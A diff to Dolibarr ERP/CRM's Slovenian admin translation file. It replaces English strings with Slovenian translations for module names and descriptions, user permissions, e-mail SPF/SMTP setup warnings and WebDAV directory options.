+ModuleCompanyCodeSupplierDigitaria=%s, ki mu sledi okrnjeno ime dobavitelja s številom znakov: %s za računovodsko kodo dobavitelja. +Use3StepsApproval=Privzeto morata naročila ustvariti in odobriti 2 različna uporabnika (en korak/uporabnik za ustvarjanje in en korak/uporabnik za odobritev. Upoštevajte, da če ima uporabnik tako dovoljenje za ustvarjanje kot odobritev, bo en korak/uporabnik dovolj) . S to možnostjo lahko zahtevate uvedbo tretjega koraka/odobritve uporabnika, če je znesek višji od namenske vrednosti (torej bodo potrebni 3 koraki: 1=potrditev, 2=prva odobritev in 3=druga odobritev, če je znesek zadosten).
      To nastavite na prazno, če zadostuje ena odobritev (2 koraka), nastavite na zelo nizko vrednost (0,1), če je vedno potrebna druga odobritev (3 koraki). +UseDoubleApproval=Uporabite odobritev v treh korakih, ko je znesek (brez davka) višji od... +WarningPHPMail=OPOZORILO: Nastavitev za pošiljanje e-pošte iz aplikacije uporablja privzeto splošno nastavitev. Pogosto je bolje nastaviti odhodno e-pošto tako, da uporablja e-poštni strežnik vašega ponudnika e-poštnih storitev namesto privzete nastavitve iz več razlogov: +WarningPHPMailA=- Uporaba strežnika ponudnika e-poštnih storitev poveča zanesljivost vaše e-pošte, tako da poveča dostavljivost, ne da bi bila označena kot SPAM +WarningPHPMailB=- Nekateri ponudniki e-poštnih storitev (kot je Yahoo) vam ne dovoljujejo pošiljanja e-pošte z drugega strežnika kot z njihovega lastnega strežnika. Vaša trenutna nastavitev za pošiljanje e-pošte uporablja strežnik aplikacije in ne strežnika vašega ponudnika e-pošte, zato bodo nekateri prejemniki (tisti, ki je združljiv z omejevalnim protokolom DMARC) vprašali vašega ponudnika e-pošte, ali lahko sprejmejo vašo e-pošto, in nekateri ponudniki e-pošte (kot je Yahoo) lahko odgovorijo z "ne", ker strežnik ni njihov, zato nekaj vaših poslanih e-poštnih sporočil morda ne bo sprejetih za dostavo (bodite pozorni tudi na kvoto pošiljanja vašega e-poštnega ponudnika). +WarningPHPMailC=- Zanimiva je tudi uporaba strežnika SMTP vašega ponudnika e-poštnih storitev za pošiljanje e-pošte, tako da bodo vsa e-poštna sporočila, poslana iz aplikacije, shranjena tudi v vaš imenik »Poslano« v vašem nabiralniku. +WarningPHPMailD=Priporočljiv protokol za pošiljanje sporočil je "SMTP". +WarningPHPMailDbis=Če res želite ohraniti privzeto metodo »PHP« za pošiljanje e-pošte, preprosto prezrite to opozorilo ali pa jo odstranite tako, da %skliknete tukaj%s. +WarningPHPMail2=Če mora vaš ponudnik e-pošte SMTP omejiti e-poštnega odjemalca na nekatere naslove IP (zelo redko), je to naslov IP poštnega uporabniškega agenta (MUA) za vašo aplikacijo ERP CRM: %s . +WarningPHPMailSPF=Če je ime domene v vašem e-poštnem naslovu pošiljatelja zaščiteno z zapisom SPF (vprašajte svoj register imena domene), morate v zapis SPF DNS vaše domene dodati naslednje IP-je: %s . +ActualMailSPFRecordFound=Najden dejanski zapis SPF (za e-pošto %s): %s +ClickToShowDescription=Kliknite za prikaz opisa +DependsOn=Ta modul potrebuje modul(e) +RequiredBy=Ta modul zahtevajo moduli +TheKeyIsTheNameOfHtmlField=To je ime polja HTML. Za branje vsebine strani HTML in pridobitev ključnega imena polja je potrebno tehnično znanje. +PageUrlForDefaultValues=Vnesti morate relativno pot URL-ja strani. Če v URL vključite parametre, bodo privzete vrednosti veljale, če bodo vsi parametri nastavljeni na isto vrednost. +PageUrlForDefaultValuesCreate=
      Primer:
      Za obrazec za ustvarjanje novega partnerja je %s .
      Za URL zunanjih modulov, nameščenih v imenik po meri, ne vključite "custom/", zato uporabite pot, kot je mymodule/mypage.php in ne custom/mymodule/mypage.php.
      Če želite privzeto vrednost le, če ima url nek parameter, lahko uporabite %s +PageUrlForDefaultValuesList=
      Primer:
      Za stran, ki navaja tretje osebe, je %s .
      Za URL zunanjih modulov, nameščenih v imenik po meri, ne vključite "custom/", zato uporabite pot, kot je mymodule/mypagelist.php in ne custom/mymodule/mypagelist.php.
      Če želite privzeto vrednost le, če ima url nek parameter, lahko uporabite %s +AlsoDefaultValuesAreEffectiveForActionCreate=Upoštevajte tudi, da prepisovanje privzetih vrednosti za ustvarjanje obrazca deluje samo za strani, ki so bile pravilno oblikovane (torej s parametrom action=create ali present ...) +EnableDefaultValues=Omogoči prilagajanje privzetih vrednosti +EnableOverwriteTranslation=Dovoli prilagajanje prevodov +GoIntoTranslationMenuToChangeThis=Za ključ s to kodo je bil najden prevod. Če želite spremeniti to vrednost, jo morate urediti v Home-Setup-translation. +WarningSettingSortOrder=Opozorilo, nastavitev privzetega vrstnega reda lahko povzroči tehnično napako pri obisku strani s seznamom, če je polje neznano polje. Če naletite na takšno napako, se vrnite na to stran, da odstranite privzeti vrstni red razvrščanja in obnovite privzeto vedenje. Field=Polje -ProductDocumentTemplates=Document templates to generate product document -FreeLegalTextOnExpenseReports=Free legal text on expense reports -WatermarkOnDraftExpenseReports=Watermark on draft expense reports -ProjectIsRequiredOnExpenseReports=The project is mandatory for entering an expense report -PrefillExpenseReportDatesWithCurrentMonth=Pre-fill start and end dates of new expense report with start and end dates of the current month -ForceExpenseReportsLineAmountsIncludingTaxesOnly=Force the entry of expense report amounts always in amount with taxes -AttachMainDocByDefault=Set this to 1 if you want to attach main document to email by default (if applicable) -FilesAttachedToEmail=Attach file -SendEmailsReminders=Send agenda reminders by emails -davDescription=Setup a WebDAV server -DAVSetup=Setup of module DAV -DAV_ALLOW_PRIVATE_DIR=Enable the generic private directory (WebDAV dedicated directory named "private" - login required) -DAV_ALLOW_PRIVATE_DIRTooltip=The generic private directory is a WebDAV directory anybody can access with its application login/pass. -DAV_ALLOW_PUBLIC_DIR=Enable the generic public directory (WebDAV dedicated directory named "public" - no login required) -DAV_ALLOW_PUBLIC_DIRTooltip=The generic public directory is a WebDAV directory anybody can access (in read and write mode), with no authorization required (login/password account). -DAV_ALLOW_ECM_DIR=Enable the DMS/ECM private directory (root directory of the DMS/ECM module - login required) -DAV_ALLOW_ECM_DIRTooltip=The root directory where all files are manually uploaded when using the DMS/ECM module. Similarly as access from the web interface, you will need a valid login/password with adecuate permissions to access it. +ProductDocumentTemplates=Predloge dokumentov za ustvarjanje dokumenta izdelka +FreeLegalTextOnExpenseReports=Brezplačno pravno besedilo o poročilih o stroških +WatermarkOnDraftExpenseReports=Vodni žig na osnutkih poročil o stroških +ProjectIsRequiredOnExpenseReports=Projekt je obvezen za vpis stroškovnika +PrefillExpenseReportDatesWithCurrentMonth=Vnaprej izpolnite začetni in končni datum novega poročila o stroških z začetnim in končnim datumom tekočega meseca +ForceExpenseReportsLineAmountsIncludingTaxesOnly=Vsili vnos zneskov poročila o stroških vedno v znesku z davki +AttachMainDocByDefault=To nastavite na 1, če želite glavni dokument privzeto priložiti e-pošti (če je primerno) +FilesAttachedToEmail=Priložite datoteko +SendEmailsReminders=Pošljite opomnike dnevnega reda po e-pošti +davDescription=Nastavite strežnik WebDAV +DAVSetup=Nastavitev modula DAV +DAV_ALLOW_PRIVATE_DIR=Omogoči generični zasebni imenik (namenski imenik WebDAV z imenom "private" - potrebna je prijava) +DAV_ALLOW_PRIVATE_DIRTooltip=Generični zasebni imenik je imenik WebDAV, do katerega lahko kdorkoli dostopa s prijavo/geslom za aplikacijo. +DAV_ALLOW_PUBLIC_DIR=Omogoči generični javni imenik (namenski imenik WebDAV z imenom "javno" - prijava ni potrebna) +DAV_ALLOW_PUBLIC_DIRTooltip=Generični javni imenik je imenik WebDAV, do katerega lahko dostopa vsakdo (v načinu branja in pisanja), brez pooblastila (račun za prijavo/geslo). +DAV_ALLOW_ECM_DIR=Omogoči zasebni imenik DMS/ECM (korenski imenik modula DMS/ECM - potrebna je prijava) +DAV_ALLOW_ECM_DIRTooltip=Korenski imenik, kamor so vse datoteke ročno naložene pri uporabi modula DMS/ECM. Podobno kot za dostop prek spletnega vmesnika boste za dostop potrebovali veljavno prijavo/geslo z ustreznimi dovoljenji. # Modules Module0Name=Uporabniki & Skupine -Module0Desc=Users / Employees and Groups management -Module1Name=Third Parties -Module1Desc=Companies and contacts management (customers, prospects...) +Module0Desc=Upravljanje uporabnikov/zaposlenih in skupin +Module1Name=Partnerji +Module1Desc=Upravljanje s podjetji in stiki (kupci, potencialni kupci...) Module2Name=Komerciala Module2Desc=Upravljanje komerciale -Module10Name=Accounting (simplified) -Module10Desc=Simple accounting reports (journals, turnover) based on database content. Does not use any ledger table. +Module10Name=Računovodstvo (poenostavljeno) +Module10Desc=Enostavna računovodska poročila (dnevniki, promet) na podlagi vsebine baze podatkov. Ne uporablja nobene glavne knjige. Module20Name=Ponudbe Module20Desc=Upravljanje komercialnih ponudb -Module22Name=Mass Emailings -Module22Desc=Manage bulk emailing +Module22Name=Množično pošiljanje e-pošte +Module22Desc=Upravljajte množično pošiljanje e-pošte Module23Name=Energija Module23Desc=Nadzor porabe energije Module25Name=Naročila -Module25Desc=Sales order management +Module25Desc=Upravljanje prodajnih naročil Module30Name=Računi -Module30Desc=Management of invoices and credit notes for customers. Management of invoices and credit notes for suppliers -Module40Name=Vendors -Module40Desc=Vendors and purchase management (purchase orders and billing of supplier invoices) -Module42Name=Debug Logs -Module42Desc=Logging facilities (file, syslog, ...). Such logs are for technical/debug purposes. -Module43Name=Debug Bar -Module43Desc=A tool for developper adding a debug bar in your browser. +Module30Desc=Upravljanje računov in dobropisov za stranke. Upravljanje računov in dobropisov za dobavitelje +Module40Name=Dobavitelji +Module40Desc=Dobavitelji in nabava (naročila in prejeti računi) +Module42Name=Dnevniki odpravljanja napak +Module42Desc=Možnosti beleženja (datoteka, syslog, ...). Takšni dnevniki so za tehnične namene/odpravljanje napak. +Module43Name=Vrstica za odpravljanje napak +Module43Desc=Orodje za razvijalce, ki v vaš brskalnik doda vrstico za odpravljanje napak. Module49Name=Urejevalniki Module49Desc=Upravljanje urejevalnikov Module50Name=Proizvodi -Module50Desc=Management of Products +Module50Desc=Upravljanje izdelkov Module51Name=Masovno pošiljanje Module51Desc=Upravljanje masovnega pošiljanja po klasični pošti Module52Name=Zaloge -Module52Desc=Stock management +Module52Desc=Upravljanje zalog Module53Name=Storitve -Module53Desc=Management of Services +Module53Desc=Upravljanje storitev Module54Name=Pogodbe/naročnine -Module54Desc=Management of contracts (services or recurring subscriptions) +Module54Desc=Upravljanje pogodb (storitve ali ponavljajoče se naročnine) Module55Name=Črtne kode -Module55Desc=Barcode or QR code management -Module56Name=Payment by credit transfer -Module56Desc=Management of payment of suppliers by Credit Transfer orders. It includes generation of SEPA file for European countries. -Module57Name=Payments by Direct Debit -Module57Desc=Management of Direct Debit orders. It includes generation of SEPA file for European countries. +Module55Desc=Upravljanje s črtno ali QR kodo +Module56Name=Plačilo s kreditnim nakazilom +Module56Desc=Vodenje plačila dobaviteljev s kreditnimi nalogi. Vključuje generiranje datoteke SEPA za evropske države. +Module57Name=Plačila z direktno bremenitvijo +Module57Desc=Upravljanje nalogov za direktne bremenitve. Vključuje generiranje datoteke SEPA za evropske države. Module58Name=Klic s klikom Module58Desc=Integracija klica s klikom -Module60Name=Stickers -Module60Desc=Management of stickers +Module60Name=Nalepke +Module60Desc=Upravljanje nalepk Module70Name=Intervencije Module70Desc=Upravljanje intervencij Module75Name=Stroški in potni nalogi Module75Desc=Upravljanje stroškov in potnih nalogov Module80Name=Pošiljanja -Module80Desc=Shipments and delivery note management -Module85Name=Banks & Cash +Module80Desc=Upravljanje pošiljk in dobavnic +Module85Name=Banke in gotovina Module85Desc=Upravljanje bančnih in gotovinskih računov -Module100Name=External Site -Module100Desc=Add a link to an external website as a main menu icon. Website is shown in a frame under the top menu. +Module100Name=Zunanje spletno mesto +Module100Desc=Dodajte povezavo do zunanjega spletnega mesta kot ikono glavnega menija. Spletna stran je prikazana v okvirju pod zgornjim menijem. Module105Name=Mailman in SPIP Module105Desc=Mailman ali SPIP vmesnik za modul člana Module200Name=LDAP -Module200Desc=LDAP directory synchronization +Module200Desc=Sinhronizacija imenika LDAP Module210Name=PostNuke Module210Desc=Integracija PostNuke Module240Name=Izvoz podatkov -Module240Desc=Tool to export Dolibarr data (with assistance) +Module240Desc=Orodje za izvoz podatkov Dolibarr (s pomočjo) Module250Name=Uvoz podatkov -Module250Desc=Tool to import data into Dolibarr (with assistance) +Module250Desc=Orodje za uvoz podatkov v Dolibarr (s pomočjo) Module310Name=Člani Module310Desc=Upravljanje članov ustanove Module320Name=Vir RSS -Module320Desc=Add a RSS feed to Dolibarr pages -Module330Name=Bookmarks & Shortcuts -Module330Desc=Create shortcuts, always accessible, to the internal or external pages to which you frequently access -Module400Name=Projects or Leads -Module400Desc=Management of projects, leads/opportunities and/or tasks. You can also assign any element (invoice, order, proposal, intervention, ...) to a project and get a transversal view from the project view. +Module320Desc=Dodajte vir RSS stranem Dolibarr +Module330Name=Zaznamki in bližnjice +Module330Desc=Ustvarite vedno dostopne bližnjice do notranjih ali zunanjih strani, do katerih pogosto dostopate +Module400Name=Projekti ali potencialni kupci +Module400Desc=Vodenje projektov, potencialnih strank/priložnosti in/ali nalog. Projektu lahko dodelite katerikoli element (račun, naročilo, predlog, intervencija, ...) in iz pogleda projekta dobite prečni pogled. Module410Name=Internetni koledar Module410Desc=Integracija internetnega koledarja -Module500Name=Taxes & Special Expenses -Module500Desc=Management of other expenses (sales taxes, social or fiscal taxes, dividends, ...) +Module500Name=Davki in posebni stroški +Module500Desc=Upravljanje drugih odhodkov (prometni davki, socialni ali davčni davki, dividende, ...) Module510Name=Plače -Module510Desc=Record and track employee payments -Module520Name=Loans +Module510Desc=Beležite in spremljajte plačila zaposlenih +Module520Name=Posojila Module520Desc=Upravljanje posojil -Module600Name=Notifications on business event -Module600Desc=Send email notifications triggered by a business event: per user (setup defined on each user), per third-party contacts (setup defined on each third party) or by specific emails -Module600Long=Note that this module sends emails in real-time when a specific business event occurs. If you are looking for a feature to send email reminders for agenda events, go into the setup of module Agenda. -Module610Name=Product Variants -Module610Desc=Creation of product variants (color, size etc.) +Module600Name=Obvestila o poslovnem dogodku +Module600Desc=Pošiljanje e-poštnih obvestil, ki jih sproži poslovni dogodek: na uporabnika (nastavitev, določena za vsakega uporabnika), na stike partnerjev (nastavitev, določena za vsakega partnerja) ali po določenih e-poštnih sporočilih +Module600Long=Upoštevajte, da ta modul pošilja e-pošto v realnem času, ko se zgodi določen poslovni dogodek. Če iščete funkcijo za pošiljanje e-poštnih opomnikov za dogodke dnevnega reda, pojdite v nastavitev modula Dnevni red. +Module610Name=Različice izdelkov +Module610Desc=Izdelava variant izdelkov (barva, velikost itd.) Module700Name=Donacije Module700Desc=Upravljanje donacij -Module770Name=Expense Reports -Module770Desc=Manage expense reports claims (transportation, meal, ...) -Module1120Name=Vendor Commercial Proposals -Module1120Desc=Request vendor commercial proposal and prices +Module770Name=Poročila o stroških +Module770Desc=Upravljajte zahtevke za poročila o stroških (prevoz, obrok, ...) +Module1120Name=Ponudbe dobaviteljev +Module1120Desc=Zahtevki za ponudbo dobavitelja Module1200Name=Mantis Module1200Desc=Mantis integracija Module1520Name=Generiranje dokumenta -Module1520Desc=Mass email document generation +Module1520Desc=Generiranje množičnih e-poštnih dokumentov Module1780Name=Značke/kategorije Module1780Desc=Ustvari značke/kategorijo (proizvodi, kupci, dobavitelji, kontakti ali člani) Module2000Name=Fck urejevalnik -Module2000Desc=Allow text fields to be edited/formatted using CKEditor (html) +Module2000Desc=Dovoli urejanje/formatiranje besedilnih polj z uporabo CKEditor (html) Module2200Name=Dinamične cene -Module2200Desc=Use maths expressions for auto-generation of prices -Module2300Name=Scheduled jobs -Module2300Desc=Scheduled jobs management (alias cron or chrono table) -Module2400Name=Events/Agenda -Module2400Desc=Track events. Log automatic events for tracking purposes or record manual events or meetings. This is the principal module for good Customer or Vendor Relationship Management. +Module2200Desc=Uporabite matematične izraze za samodejno generiranje cen +Module2300Name=Načrtovana delovna mesta +Module2300Desc=Upravljanje načrtovanih opravil (alias cron ali chrono table) +Module2400Name=Dogodki/Koledar +Module2400Desc=Sledite dogodkom. Beležite samodejne dogodke za namene sledenja ali beležite ročne dogodke ali sestanke. To je glavni modul za upravljanje odnosov s kupci ali dobavitelji. +Module2430Name=Booking Calendar System +Module2430Desc=Provide an online calendar to allow anyone to book rendez-vous, according to predefined ranges or availabilities. Module2500Name=DMS / ECM -Module2500Desc=Document Management System / Electronic Content Management. Automatic organization of your generated or stored documents. Share them when you need. -Module2600Name=API/Web services (SOAP server) +Module2500Desc=Sistem za upravljanje dokumentov / upravljanje elektronskih vsebin. Samodejna organizacija vaših ustvarjenih ali shranjenih dokumentov. Delite jih, ko jih potrebujete. +Module2600Name=API / spletne storitve (strežnik SOAP) Module2600Desc=Omogoči strtežnik Dolibarr SOAP, ki zagotavlja API storitve -Module2610Name=API/Web services (REST server) +Module2610Name=API / spletne storitve (strežnik REST) Module2610Desc=Omogoči strtežnik Dolibarr REST, ki zagotavlja API storitve -Module2660Name=Call WebServices (SOAP client) -Module2660Desc=Enable the Dolibarr web services client (Can be used to push data/requests to external servers. Only Purchase orders are currently supported.) +Module2660Name=Pokliči spletne storitve (odjemalec SOAP) +Module2660Desc=Omogoči odjemalca spletnih storitev Dolibarr (Lahko se uporablja za potiskanje podatkov/zahtev na zunanje strežnike. Trenutno so podprta samo naročila za nakup.) Module2700Name=Gravatar -Module2700Desc=Use online Gravatar service (www.gravatar.com) to show photo of users/members (found with their emails). Needs Internet access +Module2700Desc=Uporabite spletno storitev Gravatar (www.gravatar.com) za prikaz fotografij uporabnikov/članov (najdete jih skupaj z njihovimi e-poštnimi naslovi). Potrebuje dostop do interneta Module2800Desc=FTP Client Module2900Name=GeoIPMaxmind Module2900Desc=Možnost konverzije GeoIP Maxmind -Module3200Name=Unalterable Archives -Module3200Desc=Enable an unalterable log of business events. Events are archived in real-time. The log is a read-only table of chained events that can be exported. This module may be mandatory for some countries. -Module3400Name=Social Networks -Module3400Desc=Enable Social Networks fields into third parties and addresses (skype, twitter, facebook, ...). +Module3200Name=Nespremenljivi arhivi +Module3200Desc=Omogočite nespremenljiv dnevnik poslovnih dogodkov. Dogodki se arhivirajo v realnem času. Dnevnik je tabela verižnih dogodkov samo za branje, ki jo je mogoče izvoziti. Ta modul je lahko obvezen za nekatere države. +Module3300Name=Module Builder +Module3300Desc=A RAD (Rapid Application Development - low-code and no-code) tool to help developers or advanced users to build their own module/application. +Module3400Name=Socialna omrežja +Module3400Desc=Omogočite polja Social Networks v tretjih osebah in naslovih (skype, twitter, facebook, ...). Module4000Name=HRM -Module4000Desc=Human resources management (management of department, employee contracts and feelings) +Module4000Desc=Upravljanje človeških virov (vodenje oddelka, pogodbe zaposlenih in občutki) Module5000Name=Skupine podjetij Module5000Desc=Omogoča upravljaje skupine podjetij -Module6000Name=Inter-modules Workflow -Module6000Desc=Workflow management between different modules (automatic creation of object and/or automatic status change) -Module10000Name=Websites -Module10000Desc=Create websites (public) with a WYSIWYG editor. This is a webmaster or developer oriented CMS (it is better to know HTML and CSS language). Just setup your web server (Apache, Nginx, ...) to point to the dedicated Dolibarr directory to have it online on the internet with your own domain name. -Module20000Name=Leave Request Management -Module20000Desc=Define and track employee leave requests -Module39000Name=Product Lots -Module39000Desc=Lots, serial numbers, eat-by/sell-by date management for products -Module40000Name=Multicurrency -Module40000Desc=Use alternative currencies in prices and documents +Module6000Name=Potek dela med moduli +Module6000Desc=Upravljanje poteka dela med različnimi moduli (samodejno ustvarjanje objekta in/ali samodejno spreminjanje stanja) +Module10000Name=Spletne strani +Module10000Desc=Ustvarite spletna mesta (javna) z urejevalnikom WYSIWYG. To je CMS, usmerjen v spletne skrbnike ali razvijalce (bolje je poznati jezika HTML in CSS). Preprosto nastavite svoj spletni strežnik (Apache, Nginx, ...), da bo kazal na namenski imenik Dolibarr, da bo na spletu z vašim imenom domene. +Module20000Name=Zapustite upravljanje zahtev +Module20000Desc=Določite in spremljajte zahteve za dopust zaposlenih +Module39000Name=Sete izdelkov +Module39000Desc=Serije, serijske številke, upravljanje datumov uporabe/razprodaje za izdelke +Module40000Name=Multivaluta +Module40000Desc=V cenah in dokumentih uporabite alternativne valute Module50000Name=PayBox -Module50000Desc=Offer customers a PayBox online payment page (credit/debit cards). This can be used to allow your customers to make ad-hoc payments or payments related to a specific Dolibarr object (invoice, order etc...) +Module50000Desc=Ponudite strankam spletno plačilno stran PayBox (kreditne/debetne kartice). To lahko uporabite, da svojim strankam omogočite ad hoc plačila ali plačila, povezana z določenim predmetom Dolibarr (račun, naročilo itd.) Module50100Name=POS SimplePOS -Module50100Desc=Point of Sale module SimplePOS (simple POS). +Module50100Desc=Modul prodajnega mesta SimplePOS (enostavni POS). Module50150Name=POS TakePOS -Module50150Desc=Point of Sale module TakePOS (touchscreen POS, for shops, bars or restaurants). +Module50150Desc=Modul prodajnega mesta TakePOS (POS z zaslonom na dotik, za trgovine, bare ali restavracije). Module50200Name=Paypal -Module50200Desc=Offer customers a PayPal online payment page (PayPal account or credit/debit cards). This can be used to allow your customers to make ad-hoc payments or payments related to a specific Dolibarr object (invoice, order etc...) +Module50200Desc=Ponudite strankam spletno plačilno stran PayPal (račun PayPal ali kreditne/debetne kartice). To lahko uporabite, da svojim strankam omogočite ad hoc plačila ali plačila, povezana z določenim predmetom Dolibarr (račun, naročilo itd.) Module50300Name=Stripe -Module50300Desc=Offer customers a Stripe online payment page (credit/debit cards). This can be used to allow your customers to make ad-hoc payments or payments related to a specific Dolibarr object (invoice, order etc...) -Module50400Name=Accounting (double entry) -Module50400Desc=Accounting management (double entries, support General and Subsidiary Ledgers). Export the ledger in several other accounting software formats. +Module50300Desc=Ponudite strankam spletno plačilno stran Stripe (kreditne/debetne kartice). To lahko uporabite, da svojim strankam omogočite ad hoc plačila ali plačila, povezana z določenim predmetom Dolibarr (račun, naročilo itd.) +Module50400Name=Računovodstvo (dvostavno) +Module50400Desc=Vodenje računovodstva (dvojni vnosi, podpora glavne in pomožne knjige). Izvozite glavno knjigo v več drugih formatih računovodske programske opreme. Module54000Name=Tiskanje IPP -Module54000Desc=Direct print (without opening the documents) using Cups IPP interface (Printer must be visible from server, and CUPS must be installed on server). +Module54000Desc=Neposredno tiskanje (brez odpiranja dokumentov) z vmesnikom Cups IPP (tiskalnik mora biti viden s strežnika, CUPS pa mora biti nameščen na strežniku). Module55000Name=Izberi, oceni ali glasuj -Module55000Desc=Create online polls, surveys or votes (like Doodle, Studs, RDVz etc...) +Module55000Desc=Ustvarite spletne ankete, ankete ali glasovanja (kot so Doodle, Studs, RDVz itd.) Module59000Name=Marže -Module59000Desc=Module to follow margins +Module59000Desc=Modul za sledenje robov Module60000Name=Provizije Module60000Desc=Modul za upravljanje s provizijami Module62000Name=Mednarodni Poslovni Izrazi -Module62000Desc=Add features to manage Incoterms +Module62000Desc=Dodajte funkcije za upravljanje Incoterms Module63000Name=Viri -Module63000Desc=Manage resources (printers, cars, rooms, ...) for allocating to events -Permission11=Branje računov +Module63000Desc=Upravljanje virov (tiskalniki, avtomobili, sobe, ...) za dodeljevanje dogodkov +Module66000Name=Enable OAuth2 authentication +Module66000Desc=Provide a tool to generate and manage OAuth2 tokens. The token can then be used by some other modules. +Module94160Name=Sprejemi +Permission11=Read customer invoices (and payments) Permission12=Kreiranje/Spreminjanje računov -Permission13=Invalidate customer invoices +Permission13=Razveljavite račune strank Permission14=Potrjevanje računov Permission15=Pošiljanje računov po emailu Permission16=Plačevanje računov @@ -714,33 +724,33 @@ Permission27=Brisanje komercialnih ponudb Permission28=Izvoz komercialnih ponudb Permission31=Branje proizvodov Permission32=Kreiranje/spreminjanje proizvodov -Permission33=Read prices products +Permission33=Preberite cene izdelkov Permission34=Brisanje proizvodov Permission36=Pregled/upravljanje skritih proizvodov Permission38=Izvoz proizvodov -Permission39=Ignore minimum price -Permission41=Read projects and tasks (shared projects and projects of which I am a contact). -Permission42=Create/modify projects (shared projects and projects of which I am a contact). Can also assign users to projects and tasks -Permission44=Delete projects (shared projects and projects of which I am a contact) -Permission45=Export projects +Permission39=Ignorirajte minimalno ceno +Permission41=Preberite projekte in naloge (skupni projekti in projekti, katerih kontakt sem). +Permission42=Ustvarite/spremenite projekte (skupni projekti in projekti, katerih kontakt sem). Uporabnike lahko tudi dodeli projektom in nalogam +Permission44=Brisanje projektov (skupni projekti in projekti, katerih kontakt sem) +Permission45=Izvozni projekti Permission61=Branje intervencij Permission62=Kreiranje/spreminjanje intervencij Permission64=Delete intervencij Permission67=Izvoz intervencij -Permission68=Send interventions by email -Permission69=Validate interventions -Permission70=Invalidate interventions +Permission68=Pošljite intervencije po elektronski pošti +Permission69=Potrdite intervencije +Permission70=Neveljavne intervencije Permission71=Branje članov Permission72=Kreiranje/spreminjanje članov Permission74=Brisanje članov Permission75=Nastavitev tipov članov -Permission76=Export data +Permission76=Izvoz podatkov Permission78=Branje naročnin Permission79=Kreiranje/spreminjanje naročnin Permission81=Branje naročil kupcev Permission82=Kreiranje/spreminjanje naročil kupcev Permission84=Potrjevanje naročil kupcev -Permission85=Generate the documents sales orders +Permission85=Ustvarite dokumente prodajnih naročil Permission86=Pošiljanje naročil kupcev Permission87=Zapiranje naročil kupcev Permission88=Preklic naročil kupcev @@ -753,54 +763,54 @@ Permission95=Branje poročil Permission101=Branje pošiljk Permission102=Kreiranje/spreminjanje pošiljk Permission104=Potrjevanje pošiljk -Permission105=Send sendings by email +Permission105=Pošljite pošiljke po e-pošti Permission106=Izvoz pošiljk Permission109=Brisanje pošiljk Permission111=Branje finančnih postavk Permission112=Kreiranje/spreminjanje/brisanje in primerjava transakcij -Permission113=Setup financial accounts (create, manage categories of bank transactions) -Permission114=Reconcile transactions +Permission113=Nastavitev finančnih računov (ustvarjanje, upravljanje kategorij bančnih transakcij) +Permission114=Uskladite transakcije Permission115=Izvoz transakcij in računovodskih izkazov Permission116=Transfer med računi -Permission117=Manage checks dispatching +Permission117=Upravljajte pošiljanje čekov Permission121=Branje partnerjev, vezanih na uporabnika Permission122=Kreiranje/spreminjanje partnerjev, vezanih na uporabnika Permission125=Brisanje partnerjev, vezanih na uporabnika Permission126=Izvoz partnerjev -Permission130=Create/modify third parties payment information -Permission141=Read all projects and tasks (as well as the private projects for which I am not a contact) -Permission142=Create/modify all projects and tasks (as well as the private projects for which I am not a contact) -Permission144=Delete all projects and tasks (as well as the private projects I am not a contact) -Permission145=Can enter time consumed, for me or my hierarchy, on assigned tasks (Timesheet) +Permission130=Ustvarite/spremenite podatke o plačilu tretjih oseb +Permission141=Preberite vse projekte in naloge (kot tudi zasebne projekte, za katere nisem kontakt) +Permission142=Ustvari/spremeni vse projekte in naloge (kot tudi zasebne projekte, za katere nisem kontakt) +Permission144=Izbriši vse projekte in naloge (kot tudi zasebne projekte, za katere nisem kontakt) +Permission145=Lahko vnese porabljen čas zame ali mojo hierarhijo za dodeljena opravila (časovnica) Permission146=Brisanje ponudnikov Permission147=Branje statistike -Permission151=Read direct debit payment orders -Permission152=Create/modify a direct debit payment orders -Permission153=Send/Transmit direct debit payment orders -Permission154=Record Credits/Rejections of direct debit payment orders +Permission151=Preberite plačilne naloge z direktno bremenitvijo +Permission152=Ustvarite/spremenite plačilne naloge z direktno obremenitvijo +Permission153=Pošiljanje/prenos plačilnih nalogov z direktno obremenitvijo +Permission154=Zabeležite dobropise/zavrnitve plačilnih nalogov za direktno obremenitev Permission161=Branje pogodb/naročnin Permission162=Kreiranje/spreminjanje pogodb/naročnin Permission163=Aktiviranje pogodbene storitve/naročnine Permission164=Onemogočenje pogodbene storitve/naročnine Permission165=Brisanje pogodb/naročnin -Permission167=Export contracts -Permission171=Read trips and expenses (yours and your subordinates) +Permission167=Izvozne pogodbe +Permission171=Preberite potovanja in stroške (vaše in vaših podrejenih) Permission172=Kreiranje/spreminjanje potnih nalogov in stroškov Permission173=Brisanje potnih nalogov in stroškov Permission174=Preberi vse potne naloge in stroške Permission178=Izvoz potnih nalogov in stroškov Permission180=Branje dobaviteljev -Permission181=Read purchase orders -Permission182=Create/modify purchase orders -Permission183=Validate purchase orders -Permission184=Approve purchase orders -Permission185=Order or cancel purchase orders -Permission186=Receive purchase orders -Permission187=Close purchase orders -Permission188=Cancel purchase orders +Permission181=Preberite naročilnice +Permission182=Ustvarite/spremenite naročila +Permission183=Potrdite naročila +Permission184=Odobrite naročila +Permission185=Naročite ali prekličite naročila +Permission186=Prejemanje naročilnic +Permission187=Zapri naročila +Permission188=Preklic naročila Permission192=Kreiranje vrstic Permission193=Preklic vrstic -Permission194=Read the bandwidth lines +Permission194=Preberite črte pasovne širine Permission202=Kreiranje ADSL povezav Permission203=Naročanje povezovalnih naročil Permission204=Naročanje povezav @@ -825,13 +835,13 @@ Permission244=Ogled vsebine skritih kategorij Permission251=Branje ostalih uporabnikov ali skupin PermissionAdvanced251=Branje ostalih uporabnikov Permission252=Kreiranje/spreminjanje ostalih uporabnikov, skupin in dovoljenj -Permission253=Create/modify other users, groups and permissions +Permission253=Ustvari/spremeni druge uporabnike, skupine in dovoljenja PermissionAdvanced253=Kreiranje/spreminjanje notranjih/zunanjih uporabnikov in dovoljenj Permission254=Brisanje ali onemogočenje ostalih uporabnikov Permission255=Kreiranje/spreminjanje lastnih uporabniških informacij Permission256=Spreminjanje lastnega gesla -Permission262=Extend access to all third parties AND their objects (not only third parties for which the user is a sale representative).
      Not effective for external users (always limited to themselves for proposals, orders, invoices, contracts, etc.).
      Not effective for projects (only rules on project permissions, visibility and assignment matters). -Permission263=Extend access to all third parties WITHOUT their objects (not only third parties for which the user is a sale representative).
      Not effective for external users (always limited to themselves for proposals, orders, invoices, contracts, etc.).
